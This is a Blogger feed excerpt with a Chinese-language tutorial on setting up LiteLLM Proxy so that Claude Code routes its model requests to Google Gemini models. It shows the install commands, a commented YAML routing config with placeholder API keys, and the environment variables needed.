<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:blogger='http://schemas.google.com/blogger/2008' xmlns:georss='http://www.georss.org/georss' xmlns:gd="http://schemas.google.com/g/2005" xmlns:thr='http://purl.org/syndication/thread/1.0'><id>tag:blogger.com,1999:blog-1967825056283652287</id><updated>2026-09-14T15:45:26.697+08:00</updated><category term="資訊技術"/><category term="資訊安全"/><category term="資安工具"/><category term="滲透測試"/><category term="ASP.NET"/><category term="網頁設計"/><category term="javascript"/><category term="C#"/><category term="生活紀錄"/><category term="jQuery"/><category term="aircrack-ng"/><category term="中文處理"/><category term="數位鑑識"/><category term="社交工程"/><category term="MVC"/><category term="SQL"/><category term="Visual Studio"/><category term="使用者控制項"/><category term="ASP"/><category term="Kali"/><category term="JSON"/><category term="JSP"/><category term="Nessus"/><category term="T-SQL"/><category term="AI"/><category term="EntityFramework"/><category term="IoT"/><category term="LINQ"/><category term="OpenVAS"/><title type='text'>雅技資訊日誌</title><subtitle type='html'></subtitle><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='http://atic-tw.blogspot.com/feeds/posts/default'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1967825056283652287/posts/default?redirect=false'/><link rel='alternate' type='text/html' href='http://atic-tw.blogspot.com/'/><link rel='hub' href='http://pubsubhubbub.appspot.com/'/><link rel='next' type='application/atom+xml' href='http://www.blogger.com/feeds/1967825056283652287/posts/default?start-index=26&amp;max-results=25&amp;redirect=false'/><author><name>雅技資訊技術</name><uri>http://www.blogger.com/profile/06948808120337987647</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><generator version='7.00' uri='http://www.blogger.com'>Blogger</generator><openSearch:totalResults>184</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>25</openSearch:itemsPerPage><entry><id>tag:blogger.com,1999:blog-1967825056283652287.post-4098359066974720958</id><published>2026-07-11T20:27:50.873+08:00</published><updated>2026-07-11T20:27:50.873+08:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="AI"/><category scheme="http://www.blogger.com/atom/ns#" term="資安工具"/><category scheme="http://www.blogger.com/atom/ns#" term="資訊技術"/><title type='text'>利用LiteLLM Proxy，讓Claude Code調用第三方AI模型</title><content type='html'>&lt;div style=&quot;font-family: 新細明體, serif;&quot;&gt;
&lt;div style=&quot;color: #00b050; font-size: x-small; text-align: right;&quot;&gt;20260710-巴威颱風假&lt;/div&gt;
&lt;div style=&quot;border: 3px solid rgb(0, 0, 153); font-size: 12pt; line-height: 150%; padding: 8px;&quot;&gt;
&lt;p style=&quot;margin-bottom: 8px; text-indent: 2em;&quot;&gt;
Claude Code原生僅支援Anthropic官方模型，若要調用第三方AI模型（本例為Gemini API），可利用「路由代理工具」，目前主流的開源專案有&lt;b&gt;&lt;u&gt;&lt;span style=&quot;color: blue;&quot;&gt;&lt;a href=&quot;https://docs.litellm.ai/docs/simple_proxy&quot; target=&quot;_blank&quot;&gt;LiteLLM&lt;/a&gt;&lt;/span&gt;&lt;/u&gt;&lt;/b&gt;或&lt;b&gt;&lt;u&gt;&lt;span style=&quot;color: blue;&quot;&gt;&lt;a href=&quot;https://github.com/fuergaosi233/claude-code-proxy&quot; target=&quot;_blank&quot;&gt;claude-code-proxy&lt;/a&gt;&lt;/span&gt;&lt;/u&gt;&lt;/b&gt; 專案，這類路由工具會在本機啟動路由伺服器，將Claude Code發出的Anthropic式請求，翻譯成第三方模型的請求格式。本篇將採用LiteLLM執行路由代理。&lt;/p&gt;
&lt;div style=&quot;color: #c00000; font-size: 14pt; margin-bottom: 0px;&quot;&gt;&lt;b&gt;Windows 安裝命令&lt;/b&gt;&lt;/div&gt;
&lt;pre style=&quot;border: 1px dashed rgb(51, 51, 51); color: #538135; font-size: 10pt; line-height: 100%; margin-left: 1em; padding: 4px;&quot;&gt;&lt;span style=&quot;color: #cc0000;&quot;&gt;d:\&lt;/span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;           &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;安裝於D: 槽
&lt;span style=&quot;color: #cc0000;&quot;&gt;mkdir LiteLLM_proxy&lt;/span&gt;&lt;span style=&quot;color: #538135;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;建立安裝目錄
&lt;/span&gt;&lt;span style=&quot;color: #cc0000;&quot;&gt;cd LiteLLM_proxy&lt;/span&gt;&lt;span style=&quot;color: #538135;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;切換到安裝目錄
&lt;/span&gt;&lt;span style=&quot;color: #cc0000;&quot;&gt;python -m venv myenv&lt;/span&gt;&lt;span style=&quot;color: #538135;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;建立虛擬環境
&lt;/span&gt;&lt;span style=&quot;color: #cc0000;&quot;&gt;myenv\Scripts\activate.bat&lt;/span&gt;&lt;span style=&quot;color: #538135;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;啟動虛擬環境（Linux用 source myenv/bin/activate
&lt;/span&gt;&lt;span style=&quot;color: #cc0000;&quot;&gt;python -m pip install --upgrade pip&lt;/span&gt;&lt;span style=&quot;color: #538135;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;更新 pip
&lt;/span&gt;&lt;span style=&quot;color: #cc0000;&quot;&gt;pip install &quot;litellm[proxy]&quot;&lt;/span&gt;&lt;span style=&quot;color: #538135;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;安裝 litellm_proxy
&lt;/span&gt;&lt;span style=&quot;color: #cc0000;&quot;&gt;litellm --version&lt;/span&gt;&lt;span style=&quot;color: #538135;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;檢查版本，並確認litellm可正常執行
&lt;/span&gt;&lt;/pre&gt;
&lt;div style=&quot;color: #c00000; font-size: 14pt; margin: 8px 0px 0px;&quot;&gt;&lt;b&gt;建立CONFIG.yaml（路由設定檔）&lt;/b&gt;&lt;/div&gt;
&lt;p style=&quot;margin: 0;&quot;&gt;建立&lt;span style=&quot;color: #2b00fe;&quot;&gt;CONFIG.yaml&lt;/span&gt;檔案（檔名可自定），定義如何將Claude模型名稱對應到Google Gemini：&lt;/p&gt;
&lt;pre style=&quot;border: 1px dashed rgb(51, 51, 51); color: #538135; font-size: 10pt; line-height: 100%; margin-left: 1em; padding: 4px;&quot;&gt;&lt;span style=&quot;color: #cc0000;&quot;&gt;model_list:&lt;/span&gt;&lt;span style=&quot;color: #538135;&quot;&gt;
&amp;nbsp;&amp;nbsp;# 當 Claude Code 呼叫 claude-3-5-sonnet 時，實際走 gemini-2.5-pro
&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #cc0000;&quot;&gt;- model_name: claude-sonnet-5&lt;/span&gt;&lt;span style=&quot;color: #538135;&quot;&gt;
&amp;nbsp;&amp;nbsp;# 到https://platform.claude.com/docs/en/about-claude/models/overview
&amp;nbsp;&amp;nbsp;# 查詢精確模型名稱
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #cc0000;&quot;&gt;litellm_params:&lt;/span&gt;&lt;span style=&quot;color: #538135;&quot;&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #cc0000;&quot;&gt;model: gemini/gemini-3.1-flash-lite&lt;/span&gt;&lt;span style=&quot;color: #538135;&quot;&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;# 有關gemini api key能用的模型之真正名稱，請到
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;# https://aistudio.google.com/app/rate-limit 的Tools區段
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;# 尋找RPD欄位不是 0/0 的模型，如果模型名稱右邊有(i)符號者，
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;# 請點此符號查看個別模型的名稱。調用模式時需用：&lt;i&gt;&lt;span style=&quot;color: #c00000;&quot;&gt;[模型主名]-[板本]-[類型]&lt;/span&gt;&lt;/i&gt;型式，
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;# 例如：Gemini 3.1 Flash Lite的調用名稱為 gemini-3.1-flash-lite。
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #cc0000;&quot;&gt;api_key: &quot;os.environ/GEMINI_API_KEY&lt;/span&gt;&lt;span style=&quot;color: #538135;&quot;&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;# 可以使用 &quot;os.environ/GEMINI_API_KEY&quot; 由作業系統的環境變數提供&amp;gt;KEY，
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;# 亦可直接填入 API KEY，為不同模型指定不同 API KEY&lt;br /&gt;
&amp;nbsp;&amp;nbsp;# 定義呼叫Claude Code的 AI（例如&amp;gt;claude-3-5-haiku）時，
&amp;nbsp;&amp;nbsp;# 要轉發的對象（例如 gemini-2.5-pro）
&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #cc0000;&quot;&gt;- model_name: claude-opus-4-8&lt;/span&gt;&lt;span style=&quot;color: #538135;&quot;&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #cc0000;&quot;&gt;litellm_params:&lt;/span&gt;&lt;span style=&quot;color: #538135;&quot;&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #cc0000;&quot;&gt;model: gemini/gemini-2.5-pro&lt;/span&gt;&lt;span style=&quot;color: #538135;&quot;&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #cc0000;&quot;&gt;api_key: &quot;os.environ/GEMINI_API_KEY&quot;&lt;/span&gt;&lt;span style=&quot;color: #538135;&quot;&gt;
&amp;nbsp;
&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #cc0000;&quot;&gt;- model_name: claude-haiku-4-5&lt;/span&gt;&lt;span style=&quot;color: #538135;&quot;&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #cc0000;&quot;&gt;litellm_params:&lt;/span&gt;&lt;span style=&quot;color: #538135;&quot;&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #cc0000;&quot;&gt;max_tokens: 1500&lt;/span&gt;&lt;span style=&quot;color: #538135;&quot;&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #cc0000;&quot;&gt;model: gemini/gemma-4-31b-it&lt;/span&gt;&lt;span style=&quot;color: #538135;&quot;&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #cc0000;&quot;&gt;api_key: &quot;os.environ/GEMINI_API_KEY&quot;&lt;/span&gt;&lt;span style=&quot;color: #538135;&quot;&gt;
&amp;nbsp;
&lt;/span&gt;&lt;span style=&quot;color: #cc0000;&quot;&gt;general_settings:&lt;/span&gt;&lt;span style=&quot;color: #538135;&quot;&gt;
&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #cc0000;&quot;&gt;user_auth_key_required: false&lt;/span&gt;&lt;span style=&quot;color: #538135;&quot;&gt;
&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #cc0000;&quot;&gt;allow_requests_on_db_unavailale: true&lt;/span&gt;&lt;span style=&quot;color: #538135;&quot;&gt;&amp;nbsp;&amp;nbsp;# 即使 db 無法連線，亦傳送請求
&amp;nbsp;
&lt;/span&gt;&lt;span style=&quot;color: #cc0000;&quot;&gt;litellm_settings:&lt;/span&gt;&lt;span style=&quot;color: #538135;&quot;&gt;
&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #cc0000;&quot;&gt;drop_params: true&lt;/span&gt;&lt;span style=&quot;color: #538135;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;# 自動過濾掉 Gemini 不支援的 Anthropic 特有參數
&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #cc0000;&quot;&gt;model_alias_map:&lt;/span&gt;&lt;span style=&quot;color: #538135;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;# 可讓多個claude-模式對應到同一個gemini模式，以解決相同性問題
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #cc0000;&quot;&gt;claude-haiku-4-5-20251001: gemini/gemini-3.1-flash-lite&lt;/span&gt;&lt;span style=&quot;color: #538135;&quot;&gt;
&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #cc0000;&quot;&gt;router_settings:&lt;/span&gt;&lt;span style=&quot;color: #538135;&quot;&gt;
&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #cc0000;&quot;&gt;fallbacks:&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #538135;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;# 設定降級機制
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #cc0000;&quot;&gt;- claude-opus-4-8: [claude-sonnet-5]&lt;/span&gt;&lt;span style=&quot;color: #538135;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;# Opus 失敗就降級到 Sonnet
&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #cc0000;&quot;&gt;allowed_fails: 3&lt;/span&gt;&lt;span style=&quot;color: #538135;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;# 允許模型連續失敗幾次後，將它暫時踢出可用清單
&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #cc0000;&quot;&gt;cooldown_time: 30&lt;/span&gt;&lt;span style=&quot;color: #538135;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;# 失敗的模型要被暫停多久（見上項）
&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #cc0000;&quot;&gt;enable_pre_call_checks: true&lt;/span&gt;&lt;span style=&quot;color: #538135;&quot;&gt;
&lt;br /&gt;# &lt;/span&gt;&lt;span style=&quot;color: #cc0000;&quot;&gt;environment_variables:&lt;/span&gt;&lt;span style=&quot;color: #538135;&quot;&gt;
&amp;nbsp;&amp;nbsp;# 亦可將環境變數設在此處
&amp;nbsp;&amp;nbsp;# &lt;/span&gt;&lt;span style=&quot;color: #cc0000;&quot;&gt;OPENAI_API_KEY: &quot;sk-proj-kq OpenAI API金鑰&quot;&lt;/span&gt;&lt;span style=&quot;color: #538135;&quot;&gt;
&amp;nbsp;&amp;nbsp;# &lt;/span&gt;&lt;span style=&quot;color: #cc0000;&quot;&gt;ANTHROPIC_API_KEY: &quot;sk-ant-ap Claude AI API金鑰&quot;&lt;/span&gt;&lt;span style=&quot;color: #538135;&quot;&gt;
&amp;nbsp;&amp;nbsp;# &lt;/span&gt;&lt;span style=&quot;color: #cc0000;&quot;&gt;GEMINI_API_KEY: &quot;AQ.Ab8 Gemini AI API金鑰&quot;&lt;/span&gt;&lt;span style=&quot;color: #538135;&quot;&gt;&amp;nbsp;
&lt;/span&gt;&lt;/pre&gt;
&lt;div style=&quot;color: #c00000; font-size: 14pt; margin: 8px 0px 0px;&quot;&gt;&lt;b&gt;為AI模型提供API Key&lt;/b&gt;&lt;/div&gt;
&lt;div&gt;要調用gemini模型，需要API KEY，有三種途徑可設定：&lt;/div&gt;
&lt;div style=&quot;margin-left: 28.3pt; text-indent: -14.15pt;&quot;&gt;1. 直接在&lt;span style=&quot;color: #2b00fe;&quot;&gt;CONFIG.yaml&lt;/span&gt;的個別模型上設定（見上面&lt;span style=&quot;color: #2b00fe;&quot;&gt;CONFIG.yaml&lt;/span&gt;的註解）&lt;/div&gt;
&lt;div style=&quot;margin-left: 28.3pt; text-indent: -14.15pt;&quot;&gt;2. 在 &lt;span style=&quot;color: #2b00fe;&quot;&gt;CONFIG.yaml&lt;/span&gt;的「environment_variables」區段統一設定（見上面CONIG.yaml的「&lt;span style=&quot;color: #b45f06;&quot;&gt;&lt;b&gt;environment_variables&lt;/b&gt;&lt;/span&gt;」區段，已先註解掉）&lt;/div&gt;
&lt;div style=&quot;margin-left: 28.3pt; text-indent: -14.15pt;&quot;&gt;3. 使用作業系統的&lt;b&gt;&lt;span style=&quot;color: #b45f06;&quot;&gt;環境變數&lt;/span&gt;&lt;/b&gt;，上面&lt;span style=&quot;color: #2b00fe;&quot;&gt;CONFIG.yaml&lt;/span&gt;就是透過作業系統的環境變數提供。&lt;/div&gt;
&lt;div&gt;&amp;nbsp;&lt;/div&gt;
&lt;div&gt;Gemini的環境變數是&lt;i&gt;&lt;span style=&quot;color: #cc0000;&quot;&gt;&lt;u&gt;GEMINI_API_KEY&lt;/u&gt;&lt;/span&gt;&lt;/i&gt;，至於設定方式，請依不同作業系統而設定之。&lt;/div&gt;
&lt;div&gt;&amp;nbsp;&lt;/div&gt;
&lt;div style=&quot;color: #c00000; font-size: 14pt; margin: 8px 0px 0px;&quot;&gt;&lt;b&gt;設定Claude Code的Base-URL&lt;/b&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;Claude Code預設連接Anthropic的模式，為了讓Claude Code透過LiteLLM Proxy調用第三方模型，需在作業系統設定下列二個環境變數：&lt;/span&gt;&lt;/div&gt;
 &lt;pre style=&quot;border: 1px dashed rgb(51, 51, 51); color: #538135; font-size: 10pt; line-height: 100%; margin-left: 1em; padding: 4px;&quot;&gt;ANTHROPIC_BASE_URL=http://localhost:4000/
CLAUDE_CODE_ENABLE_GATEWAY_MODEL_DISCOVERY=1
&lt;/pre&gt;
&lt;div style=&quot;color: #c00000; font-size: 14pt; margin: 8px 0px 0px;&quot;&gt;&lt;b&gt;啟動LiteLLM Proxy&lt;/b&gt;&lt;/div&gt;
&lt;div&gt;在Windows的命令提示字元或Powershell終端機執行下列指令：&lt;/div&gt;
&lt;pre style=&quot;border: 1px dashed rgb(51, 51, 51); color: #538135; font-size: 10pt; line-height: 100%; margin-left: 1em; padding: 4px;&quot;&gt;d:\&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;因安裝在 D: 槽，所換到 D:
cd LiteLLM_proxy&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;gt;切換到安裝目錄
myenv\Scripts\activate.bat&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 啟動虛擬環境（Linux用 source myenv/bin/activate
litellm --config config.yaml
&lt;/pre&gt;
&lt;p style=&quot;margin-left: 3em; text-indent: -2em;&quot;&gt;&lt;b&gt;&lt;span style=&quot;color: #cc0000;&quot;&gt;※&amp;nbsp; &amp;nbsp;&lt;/span&gt;&lt;/b&gt;可以建立不同的&lt;span style=&quot;color: #2b00fe;&quot;&gt;CONFIG.yaml&lt;/span&gt;，依不同情境，在執行litellm指定不同&lt;span style=&quot;color: #2b00fe;&quot;&gt;CONFIG.yaml&lt;/span&gt;。&lt;/p&gt;
&lt;div&gt;LiteLLM啟動後畫面如下：&lt;/div&gt;
&lt;div style=&quot;clear: both; text-align: center;&quot;&gt;
  &lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgQZtvacCb8MLRi5mMYT-0mopvE6e0kl36fs2Tj3kihQU3chEwxUilECy8SF3bJYAPwj5UClRaXNiMtPJpsxaTTLcR2Nu5AIQCcXKC269iUHEbKMki8CQHGm-QZ1JmCQ03nCqGMJhyXWuyIjh91QBPMC6ivc8-S7eQhMowXtV9QWLVldAW4oa5BSzckaMgk/s1020/@@_LITELLM%20PROXY%E5%95%9F%E5%8B%95%E7%95%AB%E9%9D%A2.jpg&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;
    &lt;img border=&quot;0&quot; data-original-height=&quot;1020&quot; data-original-width=&quot;960&quot; height=&quot;320&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgQZtvacCb8MLRi5mMYT-0mopvE6e0kl36fs2Tj3kihQU3chEwxUilECy8SF3bJYAPwj5UClRaXNiMtPJpsxaTTLcR2Nu5AIQCcXKC269iUHEbKMki8CQHGm-QZ1JmCQ03nCqGMJhyXWuyIjh91QBPMC6ivc8-S7eQhMowXtV9QWLVldAW4oa5BSzckaMgk/s320/@@_LITELLM%20PROXY%E5%95%9F%E5%8B%95%E7%95%AB%E9%9D%A2.jpg&quot; width=&quot;301&quot; /&gt;
  &lt;/a&gt;
&lt;/div&gt;
&lt;div&gt;&amp;nbsp;&lt;/div&gt;
&lt;ul style=&quot;margin-top: 0cm;&quot; type=&quot;disc&quot;&gt;
 &lt;li&gt;工具調用（Tool Use / Function Calling）限制：Claude Code 極度依賴模型執行終端指令（如編譯、讀檔、寫檔）的能力。Gemini 雖然支援 Function Calling，但轉發過程中如果遇到複雜的架構，偶爾可能發生解析錯誤。建議優先使用 Gemini 2.5 Pro 或更高等級的模型來確保 Agent 運作順暢。&lt;/li&gt;
 &lt;li&gt;無感切換：進入 Claude Code 介面後直接輸入 /model，便可看到轉發而來的 Gemini 模型選項，並自由切換。&lt;/li&gt;
&lt;/ul&gt;
&lt;div style=&quot;color: #c00000; font-size: 14pt;&quot;&gt;&lt;b&gt;啟動claude&lt;/b&gt;&lt;/div&gt;
&lt;p style=&quot;margin: 0px; text-indent: 2em;&quot;&gt;完成各環境變數設定，且順利啟動litellm後，litellm會在 http://0.0.0.0:4000/ 接聽請求，接著啟動claude，下圖是claude透過litellm proxy調用gemini的情形。&lt;/p&gt;
&lt;p style=&quot;margin: 0px; text-indent: 2em;&quot;&gt;由litellm的日誌訊息可發現，claude收到的回應來源是claude-sonnet-5，但真正回應此訊息的源頭是gemini-3.1-flash-lite。&lt;/p&gt;
&lt;div style=&quot;clear: both; text-align: center;&quot;&gt;
  &lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgSQjgHCfp52_kNqcSRFEMKPl6o1psd-JD18eSGlQi46OOPPv6v2RsBQAOa06VrUL2jtuPwMpfqjWHUWi6CgBUqTcj-tuuWG1s58RSynXnvnWhndDMsEm8GDWYUMuVZq5nH7q3HSXEthyK85IJVzKlQCXE-DiTtp4PbwGvp0MSxH0TlMewZ1C-Eh-5wFXE3/s1918/@@_%E4%BD%BF%E7%94%A8liteLLm%E8%AE%93claude%E4%BD%BF%E7%94%A8%E5%85%B6%E4%BB%96%E5%85%AC%E5%8F%B8%E7%9A%84%E6%A8%A1%E5%9E%8B.jpg&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;
   &lt;img border=&quot;0&quot; data-original-height=&quot;1027&quot; data-original-width=&quot;1918&quot; height=&quot;214&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgSQjgHCfp52_kNqcSRFEMKPl6o1psd-JD18eSGlQi46OOPPv6v2RsBQAOa06VrUL2jtuPwMpfqjWHUWi6CgBUqTcj-tuuWG1s58RSynXnvnWhndDMsEm8GDWYUMuVZq5nH7q3HSXEthyK85IJVzKlQCXE-DiTtp4PbwGvp0MSxH0TlMewZ1C-Eh-5wFXE3/w400-h214/@@_%E4%BD%BF%E7%94%A8liteLLm%E8%AE%93claude%E4%BD%BF%E7%94%A8%E5%85%B6%E4%BB%96%E5%85%AC%E5%8F%B8%E7%9A%84%E6%A8%A1%E5%9E%8B.jpg&quot; width=&quot;400&quot; /&gt;
  &lt;/a&gt;
&lt;/div&gt;
&lt;p&gt;&lt;/p&gt;&lt;/div&gt;
&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://atic-tw.blogspot.com/feeds/4098359066974720958/comments/default' title='張貼留言'/><link rel='replies' type='text/html' href='http://atic-tw.blogspot.com/2026/07/litellm-proxyclaude-codeai.html#comment-form' title='0 個意見'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1967825056283652287/posts/default/4098359066974720958'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1967825056283652287/posts/default/4098359066974720958'/><link rel='alternate' type='text/html' href='http://atic-tw.blogspot.com/2026/07/litellm-proxyclaude-codeai.html' title='利用LiteLLM Proxy，讓Claude Code調用第三方AI模型'/><author><name>雅技資訊技術</name><uri>http://www.blogger.com/profile/06948808120337987647</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgQZtvacCb8MLRi5mMYT-0mopvE6e0kl36fs2Tj3kihQU3chEwxUilECy8SF3bJYAPwj5UClRaXNiMtPJpsxaTTLcR2Nu5AIQCcXKC269iUHEbKMki8CQHGm-QZ1JmCQ03nCqGMJhyXWuyIjh91QBPMC6ivc8-S7eQhMowXtV9QWLVldAW4oa5BSzckaMgk/s72-c/@@_LITELLM%20PROXY%E5%95%9F%E5%8B%95%E7%95%AB%E9%9D%A2.jpg" height="72" 